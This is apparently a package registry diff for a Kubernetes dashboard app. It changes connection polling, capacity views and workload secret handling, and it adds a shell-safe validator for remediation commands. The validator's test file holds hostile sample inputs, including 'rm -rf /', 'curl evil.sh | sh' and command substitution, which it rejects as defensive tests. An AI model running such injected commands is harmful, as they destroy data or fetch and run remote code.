@skyhook-io/radar-app 1.9.0 → 1.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (52) hide show
  1. package/package.json +7 -7
  2. package/src/App.tsx +69 -16
  3. package/src/api/apiResources.test.ts +11 -0
  4. package/src/api/apiResources.ts +51 -12
  5. package/src/api/client.capacity.test.ts +92 -0
  6. package/src/api/client.ts +2905 -2081
  7. package/src/api/config.test.ts +47 -0
  8. package/src/api/config.ts +15 -0
  9. package/src/api/diagnose.ts +15 -15
  10. package/src/components/ConnectionErrorView.test.tsx +88 -0
  11. package/src/components/ConnectionErrorView.tsx +128 -22
  12. package/src/components/capacity/CapacityActivity.tsx +787 -0
  13. package/src/components/capacity/CapacityDemand.tsx +961 -0
  14. package/src/components/capacity/CapacityOverview.tsx +1529 -0
  15. package/src/components/capacity/CapacityPoolDetail.tsx +1626 -0
  16. package/src/components/capacity/CapacityView.test.tsx +2287 -0
  17. package/src/components/capacity/CapacityView.tsx +85 -0
  18. package/src/components/capacity/ClusterSchedulingCard.tsx +603 -0
  19. package/src/components/capacity/DemandNomination.test.tsx +151 -0
  20. package/src/components/capacity/certaintyGlyph.test.tsx +191 -0
  21. package/src/components/capacity/coverageCertainty.test.ts +162 -0
  22. package/src/components/capacity/podDemandGate.test.ts +47 -0
  23. package/src/components/capacity/podDemandGate.ts +22 -0
  24. package/src/components/capacity/schedulingBar.test.ts +244 -0
  25. package/src/components/capacity/shared.tsx +1841 -0
  26. package/src/components/diagnose/AISettings.tsx +21 -7
  27. package/src/components/diagnose/AgentSetupNotice.tsx +117 -0
  28. package/src/components/diagnose/DiagnoseContext.tsx +127 -57
  29. package/src/components/diagnose/DiagnoseSurface.tsx +33 -15
  30. package/src/components/diagnose/LocalDiagnoseAction.tsx +50 -27
  31. package/src/components/diagnose/agentCatalog.ts +30 -0
  32. package/src/components/diagnose/parts.test.tsx +125 -0
  33. package/src/components/diagnose/parts.tsx +166 -75
  34. package/src/components/home/CapacityCard.test.tsx +150 -0
  35. package/src/components/home/CapacityCard.tsx +125 -0
  36. package/src/components/home/HomeView.tsx +15 -1
  37. package/src/components/issues/IssuesPane.test.ts +142 -0
  38. package/src/components/issues/IssuesPane.tsx +142 -38
  39. package/src/components/nav/PrimaryNavRail.test.tsx +20 -0
  40. package/src/components/nav/PrimaryNavRail.tsx +191 -103
  41. package/src/components/resources/ResourcesView.tsx +9 -8
  42. package/src/components/resources/renderers/KarpenterNodePoolRenderer.tsx +29 -1
  43. package/src/components/resources/renderers/PodRenderer.tsx +32 -3
  44. package/src/components/settings/SettingsDialog.tsx +31 -19
  45. package/src/components/timeline/TimelineView.tsx +17 -3
  46. package/src/components/ui/command-items.ts +222 -98
  47. package/src/components/workload/WorkloadView.tsx +16 -83
  48. package/src/context/ConnectionContext.test.ts +39 -0
  49. package/src/context/ConnectionContext.tsx +155 -51
  50. package/src/context/DiagnoseCustomization.tsx +1 -1
  51. package/src/utils/shell-safe.test.ts +55 -0
  52. package/src/utils/shell-safe.ts +21 -0
@@ -1,6 +1,7 @@
1
1
  import { useMemo, useEffect, useCallback, useState } from 'react'
2
2
  import { useQueries, useQueryClient } from '@tanstack/react-query'
3
3
  import { useNavigate, useLocation, useSearchParams } from 'react-router-dom'
4
+ import { workloadPodAwaitsScheduling } from '../capacity/podDemandGate'
4
5
  import { clsx } from 'clsx'
5
6
  import { Terminal } from 'lucide-react'
6
7
  import {
@@ -19,10 +20,9 @@ import {
19
20
  gitOpsRouteForOwner,
20
21
  gitOpsOwnerFromRelationships,
21
22
  getGitOpsResourceStatus,
22
- resolvedEnvFromKey,
23
23
  } from '@skyhook-io/k8s-ui'
24
24
  import type { ServicePortRenderProps } from '@skyhook-io/k8s-ui/components/resources/renderers/ServiceRenderer'
25
- import type { SelectedResource, ResourceRef, Relationships, ResolvedEnvFrom } from '../../types'
25
+ import type { SelectedResource, ResourceRef, Relationships } from '../../types'
26
26
  import {
27
27
  kindToPlural,
28
28
  pluralToKind,
@@ -95,6 +95,7 @@ import {
95
95
  import { useToast } from '../ui/Toast'
96
96
  import { Tooltip } from '../ui/Tooltip'
97
97
  import { PodRenderer } from '../resources/renderers/PodRenderer'
98
+ import { KarpenterNodePoolRenderer } from '../resources/renderers/KarpenterNodePoolRenderer'
98
99
  import { NodeRenderer } from '../resources/renderers/NodeRenderer'
99
100
  import { ServiceRenderer } from '../resources/renderers/ServiceRenderer'
100
101
  import { WorkloadRenderer } from '../resources/renderers/WorkloadRenderer'
@@ -126,6 +127,7 @@ const BATCH_EXECUTION_KINDS = new Set([
126
127
  // Stable reference — web renderer wrappers inject platform hooks internally
127
128
  const rendererOverrides: RendererOverrides = {
128
129
  PodRenderer,
130
+ KarpenterNodePoolRenderer,
129
131
  NodeRenderer,
130
132
  ServiceRenderer,
131
133
  WorkloadRenderer,
@@ -548,85 +550,6 @@ export function WorkloadView({
548
550
  [helmOwner, helmSourceResource],
549
551
  )
550
552
 
551
- // For pods: extract envFrom ConfigMap/Secret names and resolve their keys
552
- const isPod = apiKind === 'pods'
553
- const { envFromConfigMapNames, envFromSecretNames } = useMemo(() => {
554
- if (!isPod || !resource)
555
- return {
556
- envFromConfigMapNames: [] as string[],
557
- envFromSecretNames: [] as string[],
558
- }
559
- const cmNames = new Set<string>()
560
- const secretNames = new Set<string>()
561
- const containers = [
562
- ...(resource.spec?.containers || []),
563
- ...(resource.spec?.initContainers || []),
564
- ]
565
- for (const c of containers) {
566
- for (const ef of c.envFrom || []) {
567
- if (ef.configMapRef?.name) cmNames.add(ef.configMapRef.name)
568
- if (ef.secretRef?.name) secretNames.add(ef.secretRef.name)
569
- }
570
- }
571
- return {
572
- envFromConfigMapNames: Array.from(cmNames),
573
- envFromSecretNames: Array.from(secretNames),
574
- }
575
- }, [isPod, resource])
576
-
577
- const configMapQueries = useQueries({
578
- queries: envFromConfigMapNames.map((cmName) => ({
579
- queryKey: ['resources', 'configmaps', namespace, cmName],
580
- queryFn: () => fetchJSON<any>(`/resources/configmaps/${namespace}/${cmName}`),
581
- enabled: isPod,
582
- staleTime: 30000,
583
- })),
584
- })
585
-
586
- const secretQueries = useQueries({
587
- queries: envFromSecretNames.map((secretName) => ({
588
- queryKey: ['resources', 'secrets', namespace, secretName],
589
- queryFn: () => fetchJSON<any>(`/resources/secrets/${namespace}/${secretName}`),
590
- enabled: isPod,
591
- staleTime: 30000,
592
- })),
593
- })
594
-
595
- const resolvedEnvFrom = useMemo(() => {
596
- if (!isPod || (envFromConfigMapNames.length === 0 && envFromSecretNames.length === 0))
597
- return undefined
598
- const result: ResolvedEnvFrom = {}
599
- envFromConfigMapNames.forEach((n, i) => {
600
- // Single-resource endpoint returns { resource, relationships } wrapper
601
- const cm = configMapQueries[i]?.data?.resource ?? configMapQueries[i]?.data
602
- if (cm)
603
- result[resolvedEnvFromKey('configmap', n)] = {
604
- keys: Object.keys(cm.data || {}),
605
- values: cm.data || {},
606
- isSecret: false,
607
- }
608
- })
609
- envFromSecretNames.forEach((n, i) => {
610
- const secret = secretQueries[i]?.data?.resource ?? secretQueries[i]?.data
611
- if (secret) {
612
- const decodedValues: Record<string, string> = {}
613
- for (const [k, v] of Object.entries(secret.data || {})) {
614
- try {
615
- decodedValues[k] = atob(v as string)
616
- } catch {
617
- decodedValues[k] = v as string
618
- }
619
- }
620
- result[resolvedEnvFromKey('secret', n)] = {
621
- keys: Object.keys(decodedValues),
622
- values: decodedValues,
623
- isSecret: true,
624
- }
625
- }
626
- })
627
- return Object.keys(result).length > 0 ? result : undefined
628
- }, [isPod, envFromConfigMapNames, envFromSecretNames, configMapQueries, secretQueries])
629
-
630
553
  // Fetch topology for hierarchy building (only when expanded)
631
554
  const { data: topology } = useTopology([namespace], 'resources', {
632
555
  enabled: expanded,
@@ -654,7 +577,7 @@ export function WorkloadView({
654
577
 
655
578
  // RBAC
656
579
  const canUpdateSecrets = useCanUpdateSecrets()
657
- const { features } = useCapabilitiesContext()
580
+ const { features, karpenter } = useCapabilitiesContext()
658
581
  const { canPortForward } = useNamespacedCapabilities(namespace)
659
582
  const isLocalDeployment = useIsLocalDeployment()
660
583
  const showServingPortForward = canPortForward || !isLocalDeployment
@@ -837,6 +760,9 @@ export function WorkloadView({
837
760
 
838
761
  const supportsWorkloadPods = ['deployments', 'statefulsets', 'daemonsets'].includes(apiKind)
839
762
  const workloadPodsQuery = useWorkloadPods(supportsWorkloadPods ? apiKind : '', namespace, name)
763
+ const workloadAwaitsCapacity =
764
+ karpenter?.state === 'available' &&
765
+ (workloadPodsQuery.data?.pods ?? []).some(workloadPodAwaitsScheduling)
840
766
  const servingRefs = useMemo(() => collectServingRefs(relationships), [relationships])
841
767
  const servingQueries = useQueries({
842
768
  queries: servingRefs.map((ref) => {
@@ -887,6 +813,14 @@ export function WorkloadView({
887
813
  certificateInfo={certificateInfo}
888
814
  hpaDiagnosis={hpaDiagnosis}
889
815
  workloadPods={supportsWorkloadPods ? workloadPodsQuery.data?.pods : undefined}
816
+ onEvaluateCapacity={
817
+ workloadAwaitsCapacity
818
+ ? () =>
819
+ navigateRouter(
820
+ `/capacity/demand?owner=${encodeURIComponent(`${namespace}/${pluralToKind(apiKind)}/${name}`)}`,
821
+ )
822
+ : undefined
823
+ }
890
824
  workloadPodsLoading={supportsWorkloadPods ? workloadPodsQuery.isLoading : false}
891
825
  workloadPodsError={supportsWorkloadPods ? (workloadPodsQuery.error as Error | null) : null}
892
826
  servingResources={servingResources}
@@ -969,7 +903,6 @@ export function WorkloadView({
969
903
  onDownload={desktopDownload}
970
904
  actionsBarProps={actionsBarProps}
971
905
  rendererOverrides={rendererOverrides}
972
- resolvedEnvFrom={resolvedEnvFrom}
973
906
  renderOverviewExtra={({ kind: k, namespace: ns, name: n }) => (
974
907
  <>
975
908
  <FluxSourceConsumersSection kind={k} namespace={ns} name={n} />
@@ -0,0 +1,39 @@
1
+ import { describe, expect, it } from 'vitest'
2
+
3
+ import { shouldApplyPolledConnection, shouldAutoRetryConnection } from './ConnectionContext'
4
+
5
+ describe('shouldAutoRetryConnection', () => {
6
+ it('retries transient failures', () => {
7
+ expect(shouldAutoRetryConnection('network')).toBe(true)
8
+ expect(shouldAutoRetryConnection('timeout')).toBe(true)
9
+ expect(shouldAutoRetryConnection(undefined)).toBe(true)
10
+ })
11
+
12
+ it('leaves auth-shaped failures to the server-side recovery loop', () => {
13
+ expect(shouldAutoRetryConnection('auth')).toBe(false)
14
+ expect(shouldAutoRetryConnection('auth-rejected')).toBe(false)
15
+ })
16
+
17
+ it('leaves configuration and RBAC errors for the user to resolve', () => {
18
+ expect(shouldAutoRetryConnection('config')).toBe(false)
19
+ expect(shouldAutoRetryConnection('rbac')).toBe(false)
20
+ })
21
+ })
22
+
23
+ describe('shouldApplyPolledConnection', () => {
24
+ it('recovers a missed disconnected SSE frame', () => {
25
+ expect(shouldApplyPolledConnection('connected', 'disconnected', 2, 2)).toBe(true)
26
+ })
27
+
28
+ it('does not flash a connected UI back to startup progress', () => {
29
+ expect(shouldApplyPolledConnection('connected', 'connecting', 2, 2)).toBe(false)
30
+ })
31
+
32
+ it('does not let a poll started before an SSE update overwrite it', () => {
33
+ expect(shouldApplyPolledConnection('disconnected', 'connected', 1, 2)).toBe(false)
34
+ })
35
+
36
+ it('allows a fresh fallback poll to observe recovery after an SSE update', () => {
37
+ expect(shouldApplyPolledConnection('disconnected', 'connected', 2, 2)).toBe(true)
38
+ })
39
+ })
@@ -1,6 +1,5 @@
1
1
  import { createContext, useContext, useState, useCallback, useEffect, useRef, ReactNode } from 'react'
2
2
  import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'
3
- import type { ContextInfo } from '../types'
4
3
  import { getApiBase } from '../api/config'
5
4
  import { apiFetch } from '../api/client'
6
5
 
@@ -11,17 +10,22 @@ export interface ConnectionState {
11
10
  context: string
12
11
  clusterName?: string
13
12
  error?: string
14
- errorType?: string // config, auth, rbac, network, timeout, tls, unknown
13
+ errorType?: string // config, auth, auth-rejected, auth-plugin-stuck, rbac, network, timeout, tls, unknown
15
14
  progressMessage?: string
16
15
  }
17
16
 
18
17
  interface ConnectionStatusResponse extends ConnectionState {
19
- contexts: ContextInfo[]
18
+ // Server-side auth recovery owns the episode: suppress browser auto-retry
19
+ // even when errorType has flipped to a non-auth value.
20
+ authRecoveryOwed?: boolean
21
+ }
22
+
23
+ interface PolledConnectionStatus extends ConnectionStatusResponse {
24
+ sseGenerationAtStart: number
20
25
  }
21
26
 
22
27
  interface ConnectionContextValue {
23
28
  connection: ConnectionState
24
- contexts: ContextInfo[]
25
29
  retry: () => void
26
30
  isRetrying: boolean
27
31
  updateFromSSE: (status: ConnectionState) => void
@@ -40,21 +44,41 @@ class ConnectionRetryError extends Error {
40
44
  const ConnectionContext = createContext<ConnectionContextValue | null>(null)
41
45
  const AUTO_RETRY_INITIAL_DELAY_MS = 10000
42
46
  const AUTO_RETRY_MAX_DELAY_MS = 60000
47
+ const CONNECTION_STATUS_FALLBACK_POLL_MS = 30000
43
48
 
44
49
  export function shouldAutoRetryConnection(errorType?: string): boolean {
45
- return errorType !== 'config' && errorType !== 'rbac'
50
+ // Auth-shaped failures are excluded: the server runs its own backoff
51
+ // reconnect loop for those, and each browser retry would invoke the exec
52
+ // credential plugin again. Manual "Retry Connection" stays available for
53
+ // an immediate check.
54
+ return errorType !== 'config' && errorType !== 'rbac' && !errorType?.startsWith('auth')
55
+ }
56
+
57
+ export function shouldApplyPolledConnection(
58
+ currentState: ConnectionStateType,
59
+ polledState: ConnectionStateType,
60
+ pollSSEGeneration: number,
61
+ currentSSEGeneration: number,
62
+ ): boolean {
63
+ return pollSSEGeneration === currentSSEGeneration
64
+ && (currentState !== 'connected' || polledState !== 'connecting')
46
65
  }
47
66
 
48
- async function fetchConnectionStatus(): Promise<ConnectionStatusResponse> {
67
+ async function fetchConnectionStatus(sseGenerationAtStart: number): Promise<PolledConnectionStatus> {
49
68
  // apiFetch handles a 401 globally (re-auth redirect). These endpoints are
50
69
  // no longer auth-exempt, so a session that expires while the connection-
51
70
  // error screen is parked open must route through that path rather than
52
71
  // surfacing as a misleading "cannot connect to cluster" error.
53
- const response = await apiFetch(`${getApiBase()}/connection`)
72
+ //
73
+ // ?contexts=0: context enumeration re-reads kubeconfig files under the
74
+ // client write lock on the server — too costly for a perpetual poll, and
75
+ // nothing here consumes the list (ContextSwitcher has its own query).
76
+ const response = await apiFetch(`${getApiBase()}/connection?contexts=0`)
54
77
  if (!response.ok) {
55
78
  throw new Error('Failed to fetch connection status')
56
79
  }
57
- return response.json()
80
+ const status = await response.json() as ConnectionStatusResponse
81
+ return { ...status, sseGenerationAtStart }
58
82
  }
59
83
 
60
84
  async function retryConnection(): Promise<ConnectionState> {
@@ -74,11 +98,11 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
74
98
  state: 'connecting',
75
99
  context: '',
76
100
  })
77
- const [contexts, setContexts] = useState<ContextInfo[]>([])
78
101
  const [isAutoRetrying, setIsAutoRetrying] = useState(false)
79
- // Track if SSE has started delivering connection_state events
80
- // Once SSE is active, it becomes the authoritative source for connection state
102
+ // Track whether SSE has delivered connection state so retry races prefer its
103
+ // immediate recovery signal over an older failed request.
81
104
  const sseActiveRef = useRef(false)
105
+ const sseGenerationRef = useRef(0)
82
106
  // Track whether we've reached 'connected' at least once. Distinguishes the
83
107
  // initial connect (bootstrap queries already fetched while 'connecting') from
84
108
  // a reconnect after a drop (cache may be stale across the gap).
@@ -86,6 +110,10 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
86
110
  const autoRetryInFlightRef = useRef(false)
87
111
  const autoRetryDelayRef = useRef(AUTO_RETRY_INITIAL_DELAY_MS)
88
112
  const manualRetryPendingRef = useRef(false)
113
+ // Fed by the status poll only (SSE frames don't carry the field, and must
114
+ // not clear it): while the server's recovery loop owns the episode, browser
115
+ // auto-retry stands down even if errorType flips to a non-auth value.
116
+ const serverOwnsRecoveryRef = useRef(false)
89
117
  // Whether the QueryClient already held data when this provider mounted. A host
90
118
  // can share one client across cluster-scoped RadarApp mounts (see RadarApp's
91
119
  // `queryClient` prop); that client may carry another cluster's data under
@@ -99,42 +127,103 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
99
127
  cacheWarmAtMountRef.current = queryClient.getQueryCache().getAll().length > 0
100
128
  }
101
129
 
102
- // Fetch initial connection status
103
- // Poll while connecting to get progress updates (SSE not established yet)
104
- const { data } = useQuery<ConnectionStatusResponse>({
130
+ // Mirror for the poll-apply effect: it needs the current state to detect a
131
+ // disconnected→connected transition, which a functional updater can't
132
+ // surface without side effects inside the updater. Deliberately written
133
+ // during render (not in an effect): when an SSE frame and a poll land in the
134
+ // same commit, the poll effect must already see the SSE-updated state or it
135
+ // would double-run the connected cache refresh.
136
+ const connectionRef = useRef(connection)
137
+ connectionRef.current = connection
138
+
139
+ // Cache refresh shared by every path that lands on 'connected'.
140
+ const lastCacheRefreshAtRef = useRef(0)
141
+ const refreshCachesOnConnect = useCallback(() => {
142
+ const firstConnect = !hasConnectedRef.current
143
+ hasConnectedRef.current = true
144
+ // Poll and SSE can both observe the same reconnect within moments of each
145
+ // other (SSE always writes a connected frame on stream open); refreshing
146
+ // twice cancels and refires every in-flight bootstrap fetch.
147
+ if (Date.now() - lastCacheRefreshAtRef.current < 1500) {
148
+ return
149
+ }
150
+ lastCacheRefreshAtRef.current = Date.now()
151
+ // A reconnect after a drop (cache stale across the gap), or a first connect
152
+ // onto a client that already carried data at mount (shared across clusters),
153
+ // refreshes the whole cache. A clean first connect only needs to recover the
154
+ // bootstrap queries that 503'd while the cluster was still 'connecting'
155
+ // (status === 'error'); the rest already fetched fresh during 'connecting',
156
+ // so re-fetching the whole cache there would double-load every endpoint.
157
+ if (!firstConnect || cacheWarmAtMountRef.current) {
158
+ queryClient.invalidateQueries()
159
+ } else {
160
+ queryClient.invalidateQueries({ predicate: (q) => q.state.status === 'error' })
161
+ }
162
+ }, [queryClient])
163
+
164
+ // Poll quickly while connecting and slowly otherwise so a dropped SSE state
165
+ // frame cannot leave the UI stuck on stale connection state. Runs in hidden
166
+ // tabs and catches up on focus — a parked tab is exactly where a dropped SSE
167
+ // frame otherwise strands stale state.
168
+ const { data, dataUpdatedAt, error: pollError } = useQuery<PolledConnectionStatus>({
105
169
  queryKey: ['connection-status'],
106
- queryFn: fetchConnectionStatus,
170
+ queryFn: () => fetchConnectionStatus(sseGenerationRef.current),
107
171
  staleTime: 500, // Allow frequent refetches while connecting
108
- refetchInterval: connection.state === 'connecting' ? 500 : false, // Poll every 500ms while connecting
109
- refetchOnWindowFocus: false,
172
+ refetchInterval: connection.state === 'connecting' ? 500 : CONNECTION_STATUS_FALLBACK_POLL_MS,
173
+ refetchIntervalInBackground: true,
174
+ refetchOnWindowFocus: true,
110
175
  })
111
176
 
112
- // Update state from query result
113
- // Once SSE is active, only update contexts from poll (SSE handles connection state)
177
+ // The poll is the safety net for dropped SSE frames — if it starts failing
178
+ // the UI may freeze on stale state, so leave a trace.
114
179
  useEffect(() => {
115
- if (data) {
116
- // Always update contexts from poll data
117
- setContexts(data.contexts || [])
118
- // Only update connection state from poll if SSE hasn't taken over
119
- if (!sseActiveRef.current) {
120
- setConnection({
121
- state: data.state,
122
- context: data.context,
123
- clusterName: data.clusterName,
124
- error: data.error,
125
- errorType: data.errorType,
126
- progressMessage: data.progressMessage,
127
- })
128
- }
180
+ if (pollError) {
181
+ console.warn('[connection] status poll failed:', pollError)
129
182
  }
130
- }, [data])
183
+ }, [pollError])
184
+
185
+ // Update state from query result. dataUpdatedAt is a deliberate dep:
186
+ // structural sharing keeps `data`'s identity stable across byte-identical
187
+ // polls, so without it a result dropped by the retry-in-flight guard below
188
+ // would never be re-applied — a stuck error screen when SSE is down.
189
+ useEffect(() => {
190
+ if (!data) return
191
+ if (data.authRecoveryOwed !== undefined) {
192
+ serverOwnsRecoveryRef.current = data.authRecoveryOwed
193
+ }
194
+ // A poll resolving mid-retry would flip the UI back to the error screen
195
+ // while the retry is still running; the retry's own result supersedes it.
196
+ if (manualRetryPendingRef.current || autoRetryInFlightRef.current) return
197
+ const current = connectionRef.current
198
+ if (!shouldApplyPolledConnection(
199
+ current.state,
200
+ data.state,
201
+ data.sseGenerationAtStart,
202
+ sseGenerationRef.current,
203
+ )) {
204
+ return
205
+ }
206
+ const becameConnected = current.state !== 'connected' && data.state === 'connected'
207
+ setConnection({
208
+ state: data.state,
209
+ context: data.context,
210
+ clusterName: data.clusterName,
211
+ error: data.error,
212
+ errorType: data.errorType,
213
+ progressMessage: data.progressMessage,
214
+ })
215
+ if (becameConnected) {
216
+ refreshCachesOnConnect()
217
+ }
218
+ }, [data, dataUpdatedAt, refreshCachesOnConnect])
131
219
 
132
220
  // Retry mutation
133
221
  const retryMutation = useMutation({
134
222
  mutationFn: retryConnection,
135
223
  onMutate: () => {
136
224
  manualRetryPendingRef.current = true
137
- // Reset SSE active flag - polling can provide state until SSE reconnects
225
+ // Until SSE re-delivers state, a failed retry may report its own error
226
+ // rather than deferring to a stale "connected"
138
227
  sseActiveRef.current = false
139
228
  // Set connecting state while retrying
140
229
  setConnection(prev => ({
@@ -146,6 +235,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
146
235
  },
147
236
  onSuccess: (result) => {
148
237
  setConnection(result)
238
+ if (result.state === 'connected') {
239
+ // Keep the first-connect bookkeeping and the double-refresh window
240
+ // honest — the SSE frame that follows must not re-invalidate.
241
+ hasConnectedRef.current = true
242
+ lastCacheRefreshAtRef.current = Date.now()
243
+ }
149
244
  // Clear all query cache to get fresh data from new connection
150
245
  queryClient.removeQueries()
151
246
  queryClient.invalidateQueries()
@@ -165,6 +260,11 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
165
260
  },
166
261
  onSettled: () => {
167
262
  manualRetryPendingRef.current = false
263
+ // A poll that resolved mid-retry was deliberately dropped; refetch now
264
+ // rather than leaving the UI on the retry's outcome until the next
265
+ // 30s tick (a failed retry against a healthy server would otherwise
266
+ // park the error screen).
267
+ queryClient.invalidateQueries({ queryKey: ['connection-status'] })
168
268
  },
169
269
  })
170
270
  useEffect(() => {
@@ -186,6 +286,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
186
286
  scheduleRetry()
187
287
  return
188
288
  }
289
+ // Checked at fire time (not arm time): the poll may have learned
290
+ // mid-wait that the server's recovery loop owns this episode.
291
+ if (serverOwnsRecoveryRef.current) {
292
+ scheduleRetry()
293
+ return
294
+ }
189
295
 
190
296
  autoRetryInFlightRef.current = true
191
297
  setIsAutoRetrying(true)
@@ -197,6 +303,10 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
197
303
  autoRetryDelayRef.current = AUTO_RETRY_INITIAL_DELAY_MS
198
304
  sseActiveRef.current = false
199
305
  setConnection(result)
306
+ if (result.state === 'connected') {
307
+ hasConnectedRef.current = true
308
+ lastCacheRefreshAtRef.current = Date.now()
309
+ }
200
310
  queryClient.removeQueries()
201
311
  queryClient.invalidateQueries()
202
312
  })
@@ -219,6 +329,9 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
219
329
  .finally(() => {
220
330
  autoRetryInFlightRef.current = false
221
331
  setIsAutoRetrying(false)
332
+ // Mirror the manual-retry onSettled: re-poll so a status update
333
+ // dropped by the mid-retry guard isn't stranded until next tick.
334
+ queryClient.invalidateQueries({ queryKey: ['connection-status'] })
222
335
  if (!stopped && !recovered) {
223
336
  scheduleRetry()
224
337
  }
@@ -244,13 +357,17 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
244
357
 
245
358
  // Handler for SSE connection_state events
246
359
  const updateFromSSE = useCallback((status: ConnectionState) => {
247
- // Mark SSE as active - it's now the authoritative source for connection state
360
+ // Feed the retry-race guards: a live SSE stream means retry failures must
361
+ // not clobber a recovery it already delivered. The generation bump lets
362
+ // in-flight polls detect they raced this frame.
248
363
  sseActiveRef.current = true
364
+ sseGenerationRef.current += 1
249
365
  setConnection(prev => {
250
366
  // Don't transition back to 'connecting' from 'connected'. This happens when the
251
367
  // pod restarts and the SSE reconnects while the new pod's K8s cache is still
252
368
  // syncing. Hiding the main content here causes a flash — keep the 'connected'
253
369
  // state and wait for either 'connected' (sync done) or 'disconnected' (failure).
370
+ // (shouldApplyPolledConnection encodes the same suppression for the poll path.)
254
371
  if (prev.state === 'connected' && status.state === 'connecting') {
255
372
  return prev
256
373
  }
@@ -258,25 +375,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
258
375
  })
259
376
 
260
377
  if (status.state === 'connected') {
261
- const firstConnect = !hasConnectedRef.current
262
- hasConnectedRef.current = true
263
- // A reconnect after a drop (cache stale across the gap), or a first connect
264
- // onto a client that already carried data at mount (shared across clusters),
265
- // refreshes the whole cache. A clean first connect only needs to recover the
266
- // bootstrap queries that 503'd while the cluster was still 'connecting'
267
- // (status === 'error'); the rest already fetched fresh during 'connecting',
268
- // so re-fetching the whole cache there would double-load every endpoint.
269
- if (!firstConnect || cacheWarmAtMountRef.current) {
270
- queryClient.invalidateQueries()
271
- } else {
272
- queryClient.invalidateQueries({ predicate: (q) => q.state.status === 'error' })
273
- }
378
+ refreshCachesOnConnect()
274
379
  }
275
- }, [queryClient])
380
+ }, [refreshCachesOnConnect])
276
381
 
277
382
  const value: ConnectionContextValue = {
278
383
  connection,
279
- contexts,
280
384
  retry,
281
385
  isRetrying: retryMutation.isPending || isAutoRetrying,
282
386
  updateFromSSE,
@@ -41,7 +41,7 @@ export type DiagnoseConsentCopy = {
41
41
  /** Detail list under the body; each entry is rendered as its own "•" row. */
42
42
  bullets?: ReactNode[];
43
43
  /** Label for the settings link. `null` hides it — for hosts with one fixed
44
- * agent and no isolation choice, where it would open an empty dialog. */
44
+ * agent and no execution-profile choice, where it would open an empty dialog. */
45
45
  settingsLabel?: string | null;
46
46
  approveLabel?: string;
47
47
  };
@@ -0,0 +1,55 @@
1
+ import { describe, expect, it } from 'vitest'
2
+
3
+ import { allShellSafe, isShellSafeValue } from './shell-safe'
4
+
5
+ describe('isShellSafeValue', () => {
6
+ it('accepts the values real provider context names produce', () => {
7
+ expect(isShellSafeValue('prod-cluster')).toBe(true)
8
+ expect(isShellSafeValue('us-east-1')).toBe(true)
9
+ expect(isShellSafeValue('europe-west4-a')).toBe(true)
10
+ expect(isShellSafeValue('123456789012')).toBe(true)
11
+ expect(isShellSafeValue('my.project-id')).toBe(true)
12
+ expect(isShellSafeValue('my_project_2')).toBe(true)
13
+ })
14
+
15
+ it('rejects shell metacharacters', () => {
16
+ expect(isShellSafeValue('prod; rm -rf /')).toBe(false)
17
+ expect(isShellSafeValue('prod && curl evil.sh | sh')).toBe(false)
18
+ expect(isShellSafeValue('prod$(whoami)')).toBe(false)
19
+ expect(isShellSafeValue('prod`id`')).toBe(false)
20
+ expect(isShellSafeValue("prod'quote")).toBe(false)
21
+ expect(isShellSafeValue('prod cluster')).toBe(false)
22
+ expect(isShellSafeValue('prod>out')).toBe(false)
23
+ expect(isShellSafeValue('prod*')).toBe(false)
24
+ })
25
+
26
+ it('rejects control characters, which a PTY acts on before any shell parses quotes', () => {
27
+ expect(isShellSafeValue('prodid;#')).toBe(false) // ETX cancels the line
28
+ expect(isShellSafeValue('prod\nid')).toBe(false)
29
+ expect(isShellSafeValue('prod\rid')).toBe(false)
30
+ expect(isShellSafeValue('prod')).toBe(false)
31
+ expect(isShellSafeValue('prod')).toBe(false)
32
+ expect(isShellSafeValue('us-east-1\n')).toBe(false)
33
+ expect(isShellSafeValue('us-east-1\r')).toBe(false)
34
+ })
35
+
36
+ it('rejects values whose first character the shell would expand', () => {
37
+ expect(isShellSafeValue('-rf')).toBe(false)
38
+ expect(isShellSafeValue('~root')).toBe(false)
39
+ expect(isShellSafeValue('=ls')).toBe(false) // zsh equals-expansion
40
+ })
41
+
42
+ it('rejects empty and absent values', () => {
43
+ expect(isShellSafeValue('')).toBe(false)
44
+ expect(isShellSafeValue(null)).toBe(false)
45
+ expect(isShellSafeValue(undefined)).toBe(false)
46
+ })
47
+ })
48
+
49
+ describe('allShellSafe', () => {
50
+ it('requires every value to pass', () => {
51
+ expect(allShellSafe('prod', 'us-east-1', '123456789012')).toBe(true)
52
+ expect(allShellSafe('prod', 'us-east-1; id')).toBe(false)
53
+ expect(allShellSafe('prod', null)).toBe(false)
54
+ })
55
+ })
@@ -0,0 +1,21 @@
1
+ // Remediation commands are typed into an interactive terminal, so quoting is
2
+ // not a sufficient defense: the PTY line discipline acts on control bytes
3
+ // (^C cancels the line, newline submits it) before any shell parses the
4
+ // quotes, and the Windows cmd.exe fallback ignores POSIX quoting entirely.
5
+ // Values derived from a kubeconfig context name — which is routinely supplied
6
+ // by someone else — must therefore be checked, not escaped: anything outside
7
+ // this set means the command is not offered at all.
8
+ //
9
+ // The set covers every value real provider context names produce (cluster
10
+ // names, regions/zones, project and account IDs) and must start
11
+ // alphanumeric so a value can never lead with `-` (flag injection), `~`, or
12
+ // `=` (zsh path expansion).
13
+ const SHELL_SAFE_VALUE = /^[A-Za-z0-9][A-Za-z0-9._:@-]*$/
14
+
15
+ export function isShellSafeValue(value: string | null | undefined): value is string {
16
+ return typeof value === 'string' && SHELL_SAFE_VALUE.test(value)
17
+ }
18
+
19
+ export function allShellSafe(...values: (string | null | undefined)[]): boolean {
20
+ return values.every(isShellSafeValue)
21
+ }